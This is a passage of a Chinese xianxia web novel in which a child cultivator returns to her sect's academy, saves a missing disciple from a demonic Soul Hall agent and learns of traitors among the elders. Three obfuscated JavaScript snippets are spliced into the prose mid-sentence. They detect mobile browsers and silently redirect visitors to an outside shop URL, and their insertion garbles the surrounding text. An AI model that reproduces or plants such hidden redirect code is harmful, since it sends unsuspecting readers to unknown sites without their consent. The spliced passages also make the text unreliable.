“素衣,我会找到净尘圣水。无论如何,我会让你回来。” 阵图落下,将林素衣的神魂从源海珠内引出,封入珠内一个独立的空间。与此同时,她将那具失去生机的肉身收入储物袋——虽生机已绝,但或许还有用。 做完这一切,云华抱起源海珠,望向骨真人逃走的方向,眼中寒光闪烁。 “骨老魔,还有你背后的势力……这笔账,我记下了。” 她转身,走向出口。 而源海珠内,林素衣的神魂沉入一片温暖的蓝色光芒中,意识逐渐模糊。 在彻底沉睡前的最后一瞬,她听到一个遥远的声音——不是云华,不是源海珠,而是一个完全陌生的、威严而慈祥的女声: “孩子……睡吧……当你醒来时……净尘宗的未来……就交给你了……” 然后,是无尽的黑暗。 青玄门地底三百丈,重归寂静。 只有地上残留的裂痕和碎骨,证明着刚才那场惊心动魄的生死之战。 而在千里之外,一座隐蔽的山谷中,骨真人踉跄落地,又是一口鲜血喷出。 他狰狞地望向青玄门方向,从怀中取出一枚漆黑的传讯符,注入魔气: “计划失败……但发现意外之喜……” “净尘宗……出现了新的传承者……” “她身上……有‘那个东西’的气息……” 传讯符化作黑烟消散。 骨真人擦去嘴角血迹,眼中闪过疯狂的光芒: “等着吧……等‘那位大人’苏醒……整个玄灵界……都将天翻地覆……” 17. 重回育道院 晨钟响彻山谷时,林素衣睁开了眼睛。 她在自己的床上醒来——不,是苏晴的床上。这个认知让她恍惚了一瞬。三年前她离开时,这张床是她的,现在却属于苏晴。而她自己的床在窗边,现在躺着一个陌生的小女孩,约莫三岁,蜷缩着睡得正香。 三年了。 她坐起身,低头看自己的手。小巧、白嫩,看起来只有四岁孩童的大小。这是净尘灵体重塑后的外表年龄,比实际年龄小了近两岁。也好,这样更不容易引人怀疑。 寝室里的陈设和三年前差不多,只是更拥挤了些——原本四张床的房间,现在挤了五张。除了苏晴、李月、小豆芽和她自己的床,又多了一张。 苏晴已经起床了,正在窗边梳头。九岁的她长高了许多,圆脸褪去稚气,显出少女的轮廓。李月不在床上,被褥叠得整整齐齐——她应该已经突破炼气四层,升入少龄届了吧。小豆芽还睡着,七岁的她依旧瘦小,但脸上有了血色。 “素衣,你醒啦?”苏晴回头,对她露出熟悉的笑容,“昨晚睡得好吗?你突然回来,我们都吓一跳呢。” “嗯,还好。”林素衣轻声回答。她的声音比三年前清亮了些,但还是孩童的嗓音。 昨天傍晚,云华送她回育道院时,编了个合理的解释:林素衣三年前突发怪病,被云华带去秘地治疗,如今痊愈归来。因为治疗时用了延缓生长的灵药,所以外表看起来比同龄人小。 周嬷嬷虽然怀疑,但云华是内门长老,她不敢多问,只能安排林素衣重新入住。正好原来的床位还空着——三年来,育道院一直保留着她的学籍,或许也是云华暗中操作的结果。 “你走了之后,李月姐可担心了。”苏晴一边编辫子一边说,“她拼命修炼,去年就突破炼气四层,升到少龄届去了。现在很少回来,偶尔见到也是匆匆忙忙的。” 林素衣点点头。李月那孩子性子冷,但重情义,这反应不意外。 “小豆芽呢?”她问。 “还是老样子。”苏晴压低声音,“修炼进度慢,总被赵师兄说。但她很用功,每天最早起最晚睡。对了……”她指了指窗边那张新床,“那是新来的,叫柳儿,才三岁,前几天刚测出灵根送来的。可怜的孩子,家里遭了灾,只剩她一个。” 林素衣看向那个蜷缩的小身影。三岁……比她当年入育道院时还小。这世道,凡人命如草芥。 晨钟再次响起,这次是催促起床的钟声。小豆芽揉着眼睛坐起来,看到林素衣,愣了一下,然后眼睛一亮:“素衣姐姐!你真的回来了!” 她跳下床扑过来,林素衣接住她。七岁的小豆芽比四岁外表的她高半个头,这画面有点滑稽。 “嗯,我回来了。”林素衣拍拍她的背。 柳儿也醒了,怯生生地看着她们,不敢说话。 早膳在膳堂。林素衣的出现引起了一阵小骚动。当年她这个“一岁入道”的神童在育道院很有名,突然消失三年又突然出现,自然引人注目。 “看,那就是林素衣……” “听说她病了三年……” “怎么看起来这么小?不是说她应该五岁了吗?” 窃窃私语从四周传来。林素衣充耳不闻,安静排队打饭。她能感觉到有几道探查的目光扫过她——是育道院的执事,在确认她的修为。 她将修为压制在炼气三层。这是合理的进度:三年前离开时是炼气三层,三年后还是炼气三层,说明“怪病”确实影响了修炼。实际上,她的真实修为是炼气六层巅峰,距离七层只差临门一脚。净尘灵体和源海珠的双重加持,让她的修炼速度远超常人。 早膳后是晨练。幼龄组在操场集合,赵师兄依旧负责带教。他看到林素衣时,眼中闪过惊讶,但很快恢复平静。 “林素衣归队,按原进度修炼。”他简单交代一句,便开始讲解今日的课程。 三年过去,幼龄组的面孔换了大半。当初那十二个孩子,只有四个还在,其余都升入少龄届或淘汰了。新来的孩子们好奇地打量着林素衣这个“传说中的前辈”。 晨练内容是基础拳法和灵气吐纳。林素衣跟着练习,动作标准得无可挑剔——净尘灵体对身体的掌控力远超普通修士,这些基础动作对她来说如呼吸般自然。 赵师兄走过她身边时,脚步顿了一下:“你的灵力……很凝实。” “云华师叔治疗时,帮我巩固了根基。”林素衣回答。 赵师兄点点头,没再追问。但林素衣能感觉到,他的探查比刚才仔细了许多。这位师兄虽然只是炼气八层,但经验老道,可能察觉到了什么异常。 上午的课程是《灵草辨识进阶》。授课的是位姓陈的师姐,筑基初期修为,讲解细致。林素衣认真听讲——虽然源海珠的传承里有更高级的灵草知识,但基础不能丢。 课间休息时,苏晴凑过来:“素衣,你知道吗,陆明去年突破炼气六层,升入内门了。” 陆明?林素衣花了一息才想起那个骄纵的男孩。三年,从炼气四层到六层,这速度不慢了。 “他走之前还问起你呢。”苏晴压低声音,“说等你回来要再比试一次。不过他现在是内门弟子,应该不会再来找咱们麻烦了。” 林素衣不置可否。陆明那种孩子,她从未放在心上。 午膳后是自由修炼时间。林素衣回到寝室,关上门,布下一个简易的隔音结界——这是她从源海珠传承中学的小技巧。 她盘坐在床上,意识沉入丹田。 净尘灵珠静静悬浮,珠身蓝光流转。珠子周围,九道微小的金色符文缓缓旋转——那是净尘真印的基础符文,已经与灵珠融为一体。更深处,源海珠的意识在沉眠,但它散发出的本源之力时刻滋养着她的灵体和修为。 “你感觉如何?”她用意念询问灵珠。 “很好。”灵珠回应,“源海大人的力量很温和,我的灵性在稳步提升。倒是你……今天有几个人在暗中探查你。” “我知道。”林素衣道。除了赵师兄,早膳时至少有三道探查目光来自不同的方向。其中一道格外隐晦,若非她神识敏锐,几乎无法察觉。 “是云华前辈说的‘那些人’吗?”她问。 “不确定。”灵珠道,“但小心为上。净尘传承重现的消息,可能已经传出去了。” 林素衣沉吟。云华昨天送她回来时,特意叮嘱:骨真人逃走前发出了传讯,他背后的势力可能已经知道净尘传承者的存在。虽然云华做了些布置混淆视线,但不能完全保证安全。 “我需要尽快提升实力。”林素衣下定决心,“炼气七层是个门槛,突破后我的自保能力会强很多。” “但你要小心。”灵珠提醒,“突破时会有灵气波动,可能被察觉。” “我知道。”林素衣早已想好对策,“我会用源海珠传承里的‘隐灵阵’掩盖波动。而且……我感觉到,突破的契机就在这几天。” 这不是空话。炼气六层巅峰的修为已经稳固了三个月,灵力满溢,经脉充盈,只差一个契机就能水到渠成。而重回育道院,感受着熟悉的灵气环境,这个契机似乎越来越近了。 她退出内视,开始日常修炼。净尘真经在体内运转,灵力如溪流般流淌,每循环一周,就壮大一丝。灵珠和源海珠的双重加持下,修炼效率是普通功法的十倍以上。 两个时辰后,她结束修炼,撤去隔音结界。窗外已是黄昏,育道院笼罩在橘红色的夕照中。 晚膳时,她见到了李月。 三年不见,李月长高了许多,十一岁的她身姿挺拔,眉眼间褪去稚气,多了几分清冷。她端着食盘走过来,在林素衣对面坐下。 “回来了?”她问,语气平淡,但眼神里有掩饰不住的关切。 “嗯。”林素衣点头。 两人沉默地吃饭。半晌,李月忽然开口:“你这三年,不是生病吧?” 林素衣抬头看她。 “云华长老送你回来时,我正好在附近。”李月压低声音,“她看你的眼神……不像看一个病愈的弟子,倒像看什么珍贵的东西。” 这孩子还是这么敏锐。林素衣心中暗叹,面上不动声色:“云华师叔治好了我的病,我自然感激她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“玄字一千四百七十三号记录:外门弟子周雨,女,十一岁,水土双灵根,炼气四层。于天运历九千八百七十三年七月初三,告假回家探亲,逾期未归。经查,未返家中,疑遇不测。备案。” 天运历九千八百七十三年七月初三——那是十天前! 林素衣心中警铃大作。这么近的时间,这么相似的模式…… 她合上年录,放回原处,快步离开藏书阁。 夜色已深,育道院笼罩在寂静中。弟子们大多已入睡,只有巡逻的执事偶尔走过。 林素衣回到寝室时,苏晴和小豆芽已经睡了,柳儿也蜷缩在被窝里。她轻手轻脚上床,却毫无睡意。 窗外的月光透过窗棂,在地上投出斑驳光影。 她闭上眼,神识悄然展开。五十丈、七十丈、一百丈……炼气六层巅峰的神识,足以覆盖小半个育道院。 大部分区域平静如常,弟子们沉睡,执事巡逻。但在育道院西侧的竹林方向—— 有一股极淡的阴冷气息,一闪即逝。 林素衣猛地睁开眼。 那气息……和骨真人的魔功同源! 她坐起身,看向窗外。竹林方向一片漆黑,但在她的感知中,那里刚刚有人停留过,现在正快速离开。 要不要跟上去? 理智告诉她不要——对方修为不明,贸然追踪太危险。但直觉在尖叫:这和失踪事件有关,可能关系到更多弟子的生死。 犹豫只有一瞬。 林素衣翻身下床,从储物袋中取出云华给的隐身符贴在身上,又从窗口跃出,落地无声。 净尘灵体的轻盈在这一刻展现得淋漓尽致。她如一片落叶飘过地面,迅速朝竹林方向追去。 月光下,前方的黑影速度极快,已经快到育道院边缘。那是个穿着夜行衣的人,身形瘦小,似乎受了伤,行动有些踉跄。 林素衣保持距离,神识锁定对方。距离拉近到三十丈时,她看清了那人的侧脸—— 是个女子,脸色苍白,嘴角带血,正是年录上记载的,十天前失踪的外门弟子,周雨! 她不是失踪,是逃回来了! 就在此时,前方突然出现另一道黑影,挡住了周雨的去路。 一个阴冷的声音响起: “小丫头,你以为能逃得掉?” 18. 夜逃者 黑衣人挡在周雨面前,夜色中看不清面容,只能看到一双泛着红光的眼睛。他伸出手,五指枯瘦如爪,指甲乌黑:“乖乖跟我回去,还能少受些苦。” 周雨浑身颤抖,但眼中闪着倔强的光:“不……死也不回去……” “那可由不得你。”黑衣人冷笑,掌心腾起一股黑气。 就在他即将动手的刹那,林素衣动了。 她没有直接攻击——炼气六层对筑基期是找死。她用了净尘灵珠传承中的一个技巧:凝水成镜。 十丈外的一滩积水突然飞起,化作一面水镜,正好映出黑衣人的后背。同时,林素衣从侧面弹出一粒石子,击中竹林深处。 “谁?!”黑衣人猛地转头看向水镜方向——镜面反射,让他误以为背后有人。而石子击竹的声响,更是误导了他的判断。 这短暂的迟疑,足够周雨反应。 她拼尽最后力气,向侧方扑去,滚进灌木丛中。黑衣人察觉被骗,怒喝一声,黑气横扫,灌木瞬间枯萎,但周雨已不见了踪影——她用了某种隐匿身法。 “该死!”黑衣人正要追击,突然停下,鼻子嗅了嗅,“不对……还有人……” 他转过身,猩红的眼睛扫视四周,最终停在林素衣藏身的方向。 被发现了! 林素衣心下一沉。隐身符能隐藏身形,但无法完全掩盖气息,尤其对方修为高出她太多。 黑衣人缓步走来,每一步都带着死亡的气息:“有意思……一个炼气期的小娃娃,竟敢管我的闲事。” 逃不掉。林素衣瞬间做出判断。唯一的生机是…… 她主动撤去隐身符,从阴影中走出。 月光下,四岁孩童的身形显得格外弱小。但她的眼神平静,直视黑衣人:“前辈何必为难一个受伤的弟子。” 黑衣人愣了愣,随即怪笑起来:“又一个不知死活的小东西。既然你看到了不该看的,那就一起……” 话音未落,一道剑光如流星般从天而降! 剑光斩在黑衣人身前三尺处,地面裂开一道深沟。黑衣人急退,黑气护体,仍被剑气余波震得气血翻涌。 “谁敢动我青玄门弟子!” 云华踏剑而立,月白道袍在夜风中飘动,眼神冰冷如霜。她不是一个人来的——身后还跟着三名执法堂弟子,皆是筑基期修为,迅速散开,封锁四周。 黑衣人脸色大变:“云华!你怎么……” “我怎么会知道?”云华冷笑,“你以为在育道院附近抓人,能瞒过我的眼睛?” 她其实也是刚赶到。晚膳后她察觉育道院方向有异常魔气波动,立刻赶来,正好撞上这一幕。 黑衣人知道事不可为,身形骤然化作黑烟,就要遁走。 “想走?”云华长剑一指,剑光化作光网,罩向黑烟。同时三名执法弟子各站一方,结成一个简单的困阵。 黑烟左冲右突,无法突破,重新凝聚成黑衣人模样。他咬牙切齿:“云华,你真要与我魂殿为敌?” 魂殿!林素衣心中一震。她听云华提过这个组织——魔道三大势力之一,专修魂道邪术,行事诡秘残忍。骨真人就是魂殿的长老! “魂殿的手伸得太长了。”云华剑势不停,“青玄门不是你们撒野的地方。” “你以为抓了我,就能阻止我们的计划?”黑衣人狞笑,“晚了……祭品已经收集得差不多了……万魂噬心大阵即将完成……届时,整个青玄山脉都将成为炼魂场!” 他说完,突然咬破舌尖,喷出一口黑血。黑血落地,化作一个扭曲的符文。 “不好!他要自爆魔魂!”云华急退,同时袖袍一挥,将林素衣和周雨所在的区域护住。 黑衣人身体急剧膨胀,皮肤下黑气涌动,眼看就要爆开—— 一道青光从天而降,如囚笼般将他罩住。 青光中,一个苍老但威严的声音响起:“魂殿的小辈,敢来我青玄门放肆。” 林素衣抬头,只见夜空中不知何时多了一个老者。他穿着朴素的灰袍,须发皆白,面容枯瘦,但那双眼睛明亮如星辰,目光所及之处,空间都微微扭曲。 元婴期!至少是元婴初期! 老者只是轻轻一抓,黑衣人膨胀的身体就像泄气的皮球般瘪了下去,所有魔气被强行压回体内。黑衣人面露绝望,还想说什么,老者已隔空一点,他便昏死过去。 “玄诚师叔。”云华躬身行礼。 玄诚子——正是三年前带林素衣入门的那个青玄门长老!他什么时候回来的?林素衣心中疑问,面上不动声色。 “起来吧。”玄诚子落地,看了眼昏迷的黑衣人,“魂殿的人……看来当年的事,还没完。” 他又看向林素衣和周雨,目光在林素衣身上多停留了一瞬:“这孩子就是当年那个……林素衣?” “是。”云华点头,“她三年前突发怪病,我带她去治疗,近日才痊愈归来。” 玄诚子“嗯”了一声,没再多问,转而看向昏迷的周雨:“这孩子伤得不轻,先带回去救治。这个魂殿的探子,交给执法堂审问。” “是。” 一名执法弟子上前,扛起周雨。另一名则给黑衣人戴上禁灵锁,押走。 玄诚子又看了林素衣一眼:“你跟我来。” 云华欲言又止,但最终没说什么。林素衣默默跟上玄诚子,三人一同离开竹林,来到育道院附近的一座小楼——这是玄诚子暂居的地方。 楼内陈设简单,只有桌椅蒲团。玄诚子示意林素衣坐下,自己也在对面坐定。 “说说吧,今晚怎么回事。”他问的是林素衣。 林素衣斟酌用词:“弟子晚膳后去藏书阁查阅资料,回来时察觉竹林有异常,便过去查看,正好撞见周雨师姐被追杀。” “你胆子不小。”玄诚子淡淡道,“炼气三层,就敢管筑基期的事?” “弟子有隐身符护身,且周雨师姐危在旦夕,顾不得许多。”林素衣答得不卑不亢。 玄诚子盯着她看了片刻,忽然道:“你不是炼气三层。” 林素衣心中一跳。 “云华说你病愈后修为未进,但以我的眼力,看得出你的灵力凝实程度远超炼气三层。”玄诚子缓缓道,“你在隐藏修为……为什么?” 楼内气氛陡然紧张。 云华站在一旁,手按剑柄,随时准备出手。但玄诚子只是看着林素衣,等待她的回答。 林素衣沉默三息,缓缓道:“弟子确实隐藏了修为。如今是……炼气五层。” 她报低了一层,留有余地。 “三年,从三层到五层,不算慢,但也不值得隐藏。”玄诚子目光如炬,“除非……你有不得不隐藏的理由。” “弟子只是不想引人注目。”林素衣道,“三年前因‘神童’之名惹来不少麻烦,如今只想安静修炼。” 这话半真半假。玄诚子听了,不置可否,转向云华:“你怎么看?” 云华躬身:“素衣这三年确实在静养,修为有所精进也属正常。至于隐藏……孩童心性,不愿张扬,可以理解。” 玄诚子沉默了。楼内只听到更漏滴答。 良久,他才开口:“也罢。每个人都有自己的秘密,只要不危害宗门,我便不过问。” 他站起身,走到窗边,望向夜色中的青玄山脉:“魂殿的事,你们知道多少?” 云华和林素衣对视一眼。云华道:“三年前地底之事,师叔已知。如今看来,魂殿一直在暗中收集灵体精魂,图谋不轨。今晚这黑衣人提到的‘万魂噬心大阵’,恐怕是他们的大动作。” “万魂噬心……”玄诚子眼中寒光一闪,“那需要至少九千九百九十九个纯净灵体精魂为祭,一旦完成,可炼化方圆百里所有生灵的魂魄。他们敢在青玄山脉布此阵,背后定有依仗。” “师叔的意思是……” “门内有内应。”玄诚子直言,“而且地位不低。否则魂殿不可能悄无声息地抓走那么多弟子。” 他转身看向林素衣:“你今日救了周雨,算是打乱了他们的计划。但也因此,你可能被盯上。” 林素衣心中一凛。 “从今日起,你搬来这小楼住。”玄诚子道,“我会在此布下禁制,保你安全。同时……我需要你帮我做一件事。” “师叔请吩咐。” “周雨醒后,你去问她。”玄诚子道,“她能从魂殿手中逃出来,必定知道些什么。但执法堂那些家伙问话太死板,吓到她反而问不出真话。你与她同龄,又救过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980528|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,她或许愿意对你说实话。” 这安排合情合理。林素衣点头:“弟子明白。” “云华,你负责保护她。”玄诚子又道,“魂殿不会善罢甘休,接下来可能还有动作。” “是。” 事情就这么定了。当晚,林素衣就搬进了小楼二层的厢房。房间不大,但干净整洁,窗外正对一片竹林——不是育道院那片,而是小楼后的私人竹林。 云华在楼外布下层层禁制,玄诚子更是亲自设了一道神识屏障,除非元婴期以上修士强行突破,否则无人能无声无息潜入。 夜深人静,林素衣躺在床上,却毫无睡意。 今日之事,疑点太多。黑衣人提到“万魂噬心大阵”,需要近万个纯净灵体精魂。青玄门这些年失踪的弟子,满打满算也不过几十,远远不够。其他精魂从何而来? 还有玄诚子……他今日的态度有些奇怪。明明看出她隐藏修为,却没有深究,反而安排她保护起来,还让她去问话周雨。是真的信任,还是……另有打算? 她想起三年前,玄诚子带她入青玄门时的情景。那时她觉得这长老冷漠但公正,如今再看,却觉得那双眼睛深处,藏着太多看不透的东西。 “灵珠,你怎么看?”她用意念询问。 丹田内,净尘灵珠缓缓旋转:“玄诚子身上有净尘道韵的残留……很淡,但确实有。” 什么?!林素衣坐起身。 “确定?” “确定。虽然被刻意掩盖,但我与源海大人同源,能感应到。”灵珠道,“他不是净尘传人,但一定接触过净尘宗的核心之物……或者人。” 林素衣心跳加速。玄诚子接触过净尘宗的核心?是敌是友? 还有云华……她知道吗? 纷乱的思绪如潮水涌来。她强迫自己冷静,开始梳理: 魂殿在图谋大阵,需要大量灵体精魂。 青玄门内有内应,地位不低。 玄诚子身份存疑。 而她,身怀净尘传承,可能是魂殿的下一个目标,也可能……是某些人眼中的棋子。 “必须尽快提升实力。”她下定决心。炼气七层,今晚就突破! 她盘坐起来,开始运转净尘真经。灵力在经脉中奔腾,丹田内的气旋越转越快。源海珠沉睡的意识似乎感应到她的决心,散发出一缕精纯的本源之力,融入灵力。 一个时辰后,她感到那道无形的屏障开始松动。 两个时辰,屏障出现裂痕。 三个时辰—— “轰!” 体内仿佛有什么东西炸开,灵力如决堤洪水般冲过所有经脉,气旋骤然扩大一倍,变得更加凝实、更加灵动。 炼气七层,成! 突破的刹那,她感到天地灵气疯狂涌入,但小楼外的禁制起了作用,将所有波动牢牢锁在楼内,没有外泄分毫。 林素衣睁开眼,眸中蓝光一闪而逝。她能感觉到,自己的神识范围扩大到了一百五十丈,灵力总量增加了五成,对水属性的掌控更是达到了新的层次。 就在这时,楼下传来动静。 她收敛气息,走到窗边,向下看去。 是云华,正站在小院中,仰头望月。月光洒在她身上,给月白道袍镀上一层银边。她手中握着剑,但剑未出鞘,只是静静站着,像一尊雕塑。 林素衣看了一会儿,正要回床,却见云华忽然转头,看向小楼后方竹林的方向。 她的眼神变了——不再是平时的清冷,而是一种复杂的、混合着悲伤和决绝的情绪。 然后,她轻声说了句话。声音极轻,但林素衣炼气七层后耳力大增,听得清清楚楚: “师父……您当年选的路……真的是对的吗?” 说完,她转身回屋,留下满院月光。 林素衣站在窗前,久久未动。 云华的师父……就是源海珠最后的主人,净尘宗最后的传人。 她当年选了什么样的路? 而这条路,又将她、将云华、将整个净尘宗的未来,引向了何方? 夜色更深了。 小楼后方的竹林中,一片竹叶无声飘落。 叶面上,有一个极淡的、眼睛形状的印记,正缓缓消散。 19. 周雨之语 周雨昏迷了三天。 这期间,小楼成了临时的治疗场所。云华亲自为她疗伤,玄诚子则在外布下层层禁制,防止魂殿追踪而来。林素衣大部分时间待在自己的房间修炼,偶尔下楼查看情况。 周雨的伤势很重。不仅仅是外伤,更严重的是魂魄受损——这是魂殿功法的特点,直接攻击灵魂本源。若非云华及时救治,她可能已经魂飞魄散。 第四天清晨,林素衣正在房中练习净尘真经的第七层心法,忽然感应到楼下传来微弱的神识波动。 周雨醒了。 她下楼时,云华正从周雨的房间出来,脸色凝重。 “她怎么样?”林素衣问。 “命保住了,但魂魄损伤需要很长时间调养。”云华压低声音,“更麻烦的是……她体内被种了‘噬魂咒’。这种咒术会定时发作,发作时痛不欲生,而且一旦离开施咒者超过一定距离,咒术就会自动引爆魂魄。” 林素衣心中一沉:“能解吗?” “很难。”云华摇头,“除非找到施咒者,或者有元婴期以上的高手强行拔除。但强行拔除风险极大,稍有不慎就会引爆。” 她顿了顿:“玄诚师叔已经去查阅典籍,看有没有其他办法。你先去和她聊聊,注意别说刺激的话。” 林素衣点头,推门进入房间。 房间不大,靠窗的位置摆了张床。周雨靠坐在床头,脸色苍白如纸,眼窝深陷,十一岁的少女看起来像个小老太太。但她的眼睛很亮,看到林素衣进来,微微点头:“你是……林师妹?” “是我。”林素衣在床边的椅子上坐下,“感觉好些了吗?” 周雨苦笑:“好多了……至少还活着。”她顿了顿,“那天晚上……谢谢你。若不是你出手,我逃不掉。” “举手之劳。”林素衣看着她,“师姐,能告诉我发生了什么事吗?你是怎么落到魂殿手里的?” 周雨的眼神黯淡下来,沉默了很长时间。 林素衣没有催促,只是静静等着。 窗外晨光熹微,鸟鸣声声。这本该是个宁静的清晨,但房间里的气氛压抑得让人窒息。 终于,周雨开口了,声音很轻,像是怕惊动什么:“三个月前……我被指派了一个‘外出任务’。” 青玄门的外门弟子,每隔一段时间会被分配一些简单任务,比如采集灵草、护送物资等,既是历练,也能赚取贡献点。 “任务内容是和另外三个师兄师姐一起,去三百里外的‘青风谷’采集‘云雾草’。”周雨回忆,“带队的是内门的张师兄,筑基初期修为。按理说,这种任务没什么危险。” “但你们出事了?” “嗯。”周雨闭上眼睛,似乎不愿回忆,“我们进谷的第三天,遇到了袭击……不是妖兽,是人。五个黑衣人,修为都在筑基期以上,领头的是个金丹期的老魔头。张师兄拼死抵抗,让我们逃,但他……” 她声音哽咽:“他死了。另外两个师姐也被抓了。只有我……因为修炼了‘敛息诀’,侥幸藏在一个树洞里,逃过一劫。” 林素衣皱眉:“你没回宗门报信?” “我回去了。”周雨睁开眼,眼中满是痛苦,“但我刚进山门,就被执法堂的刘执事带走了。他说要单独询问情况,结果……结果他给我下了毒。” 刘执事!林素衣记下这个名字。 “他把我关在一个地牢里,那里还关着其他十几个弟子。”周雨声音发颤,“都是最近几年失踪的人。有些已经死了,尸体被带走……有些还活着,但神志不清。” “地牢在哪?” “不知道。”周雨摇头,“我被带进去时是昏迷的,出来时也是。但隐约记得……好像在地下,很潮湿,能听到水声。” 地底?林素衣想起青玄山脉复杂的地下结构。如果魂殿和宗门内应勾结,在地下开辟秘密据点,确实很难被发现。 “你是怎么逃出来的?” “十天前,他们选了一批‘祭品’要送走。”周雨眼中闪过一丝恐惧,“我也是其中之一。运送途中,负责押送的两个魔修起了争执,打了起来。我趁机挣脱束缚,跳下了山崖。” 她运气好,山崖下有条河,她顺流而下,漂了很远,才敢上岸。然后一路躲藏,昼伏夜出,花了十天时间才逃回青玄门。 “我以为回到宗门就安全了……”周雨苦笑,“没想到刚进山门,就被发现追杀。那些黑衣人……他们穿着青玄门的衣服,但我知道,他们不是真正的弟子。” 林素衣心中凛然。魂殿的人已经渗透到这种程度,可以伪装成宗门弟子随意行动了? “师姐,你刚才提到‘祭品’。”她问,“魂殿抓这么多弟子,到底要做什么?” 周雨沉默片刻,缓缓道:“我在牢里偷听到一些……他们说要炼‘万魂幡’,需要九千九百九十九个纯净灵体。已经抓了快一半了,但时间紧迫,所以加快了速度。” 万魂幡!这和黑衣人说的“万魂噬心大阵”应该是同一种东西。 “还有……”周雨犹豫了一下,“我好像听到他们说……‘阵眼就在宗门内’,‘时机一到,里应外合’……” 阵眼在宗门内?林素衣脑中闪过无数念头。青玄门护山大阵的阵眼在主峰,但那是绝密,魂殿怎么可能…… 除非内应的地位极高,高到能接触核心机密。 “师姐,谢谢你告诉我这些。”林素衣起身,“你好好休息,我会让云华师叔加强防护。” 周雨点头,忽然抓住她的袖子:“林师妹……小心刘执事……还有……执法堂的徐长老……我在牢里听到过他们的名字……” 徐长老!执法堂三位副堂主之一,金丹中期修为! 林素衣心中一寒。如果连金丹长老都是内应,那青玄门…… 她离开房间,正要去找云华,却见玄诚子站在楼梯口,显然已经听了很久。 “师叔。”林素衣行礼。 玄诚子摆摆手,示意她到书房说话。 书房里,云华也在。两人听完林素衣的转述,脸色都很难看。 “刘执事只是个小角色。”云华冷冷道,“但徐长老……如果连他都是内应,那执法堂恐怕已经烂透了。” “不止执法堂。”玄诚子沉声道,“能在宗门内掳走那么多弟子而不被发现,需要多部门配合。膳堂、杂物处、巡逻队……都可能有人被渗透。” 他看向林素衣:“周雨说的地牢,你有什么想法?” 林素衣思索片刻:“她说很潮湿,能听到水声。青玄山脉地下暗河众多,但大部分区域都在护山大阵监控之下。能避开监控的地方不多……我猜可能在‘黑水渊’附近。” 黑水渊是青玄山脉西侧的一处深潭,连接地下暗河系统,因为潭水漆黑如墨而得名。那里灵气稀薄,妖兽绝迹,宗门很少派人去,是绝佳的藏身地。 “有理。”玄诚子点头,“云华,你带几个信得过的弟子,暗中探查黑水渊。记住,不要打草惊蛇。” “是。” 云华离开后,玄诚子又看向林素衣:“你突破炼气七层了。” 不是疑问,是陈述。 林素衣心中微紧,面上平静:“昨日侥幸突破。” “侥幸?”玄诚子淡淡一笑,“三年从三层到七层,这不是侥幸能解释的。不过……我说过,只要不危害宗门,我不会过问。” 他顿了顿:“但我需要你帮我做一件事。” “师叔请吩咐。” “去藏书阁。”玄诚子道,“查找所有关于‘万魂噬心大阵’的资料,以及……破解方法。” 林素衣一怔:“师叔是要……” “魂殿筹备这么久,大阵恐怕已经接近完成。”玄诚子眼中寒光闪烁,“我们必须早做准备。但这事不能声张,只能暗中进行。你年纪小,去藏书阁查阅资料不会引人注意。” 确实。一个四岁的孩子天天泡在藏书阁,只会被当成勤奋好学,不会想到其他。 “弟子明白。” “还有……”玄诚子从袖中取出一枚玉简,“这里面是青玄门所有金丹期以上长老的资料。你仔细看,如果发现任何异常,立刻告诉我。” 林素衣接过玉简,感觉重如千钧。这是信任,也是试探。 离开书房后,她没有回房,而是直接去了藏书阁。 藏书阁依旧安静,管理员还在打瞌睡。林素衣上了二楼,找到存放阵法典籍的区域。 《上古禁阵录》《魔道阵法考》《破阵七十二法》……她一本本翻阅,寻找关于万魂噬心大阵的记载。 整整一天,她沉浸在书海中。到傍晚时,终于在一本残破的《邪阵纪要》中找到了相关描述: “万魂噬心大阵,上古魔阵,需以九千九百九十九个纯净灵体精魂为引,布阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980529|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者需有元婴期以上修为。阵成之日,可炼化方圆三百里所有生灵之魂,化为‘万魂幡’,持幡者可操控万魂,威力堪比化神……” 后面几页被撕掉了,记载着破阵方法的部分残缺不全,只能看到几个模糊的字眼:“需以至阳至正之力……以阵破阵……阵眼所在……” 至阳至正之力?林素衣思索。净尘真经的水属性灵力属阴,肯定不行。青玄门的功法中正平和,但也不算至阳至正。整个玄灵界,有什么功法或宝物是至阳至正的呢? 她记下这些线索,正准备离开,忽然看到书架角落有一本蒙尘的古籍。 《净尘宗阵法总纲》。 她的手顿住了。这本书怎么会在这里?净尘宗的典籍,不是应该被销毁或封存了吗? 她拿起书,吹去灰尘。书页泛黄,但保存完好。翻开第一页,是一行娟秀的字迹: “净尘宗第三十二代掌门,清微真人,辑录。” 清微真人……源海珠最后的主人。 林素衣心跳加速,快速翻阅。书里记载了净尘宗历代传承的阵法,从基础到禁术,包罗万象。而在最后一页,有一行用特殊墨水写的小字,只有用灵力激发才能看到。 她输入一丝净尘灵力。 字迹浮现: 